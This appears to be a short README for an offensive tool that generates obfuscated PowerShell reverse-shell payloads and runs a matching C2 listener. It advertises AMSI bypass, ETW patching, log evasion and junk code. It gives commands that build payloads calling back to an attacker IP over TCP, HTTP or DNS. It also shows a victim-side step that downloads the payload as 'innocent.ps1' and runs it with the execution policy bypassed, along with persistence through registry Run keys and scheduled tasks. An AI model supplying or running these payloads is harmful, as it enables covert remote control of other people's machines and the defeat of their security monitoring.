AES-256 encrypted TCP tunnel(normal)
TCP Basic reverse shell (simple)
HTTP/HTTPS (80 or 443)
DNS(sneaky)
multi session threaded
custom keys
AMSI bypass
ETW patching
scriptblock log bypass
prng variable names
junk code
Traffic jitter
pip install -r requirements.txt
chmod +x polyexecgen.py c2_catcher.py
./polyexecgen.py -t 192.168.1.5 -p 6969 -m encrypted -k myg00dpassw0rd
./polyexecgen.py -t 192.168.1.5 -p 6969 -m tcp
./polyexecgen.py -t http://192.168.1.5:6969/shell -m http -k myk3y
./polyexecgen.py -m dns --dns-domain c2.example.com
$ python3 c2_catcher.py
# Select 1 for encrypted Listener
# Enter encryption key: myg00dpassw0rd (same as payload key)
$ python3 c2_catcher.py
# Select [2] for Standard Listener
# Enter port: 6969
$ python3 c2_catcher.py
# Select 3, add host/port/encryption setting
PS C:\Users\windows> Invoke-WebRequest -Uri http://xx.xx.xx.xxx:8000/polyexec_encrypted_*.ps1 -OutFile innocent.ps1
PS C:\Users\windows> powershell.exe -ExecutionPolicy Bypass -File innocent.ps1
payload w/ auto install persistence:
./polyexecgen.py -t 192.168.1.5 -p 6969 -m encrypted --persist
Puts data on disk
Registry Run key
Scheduled task at logon
File copy to %APPDATA%
@danielbohannon
@harmj0y
@enigma0x3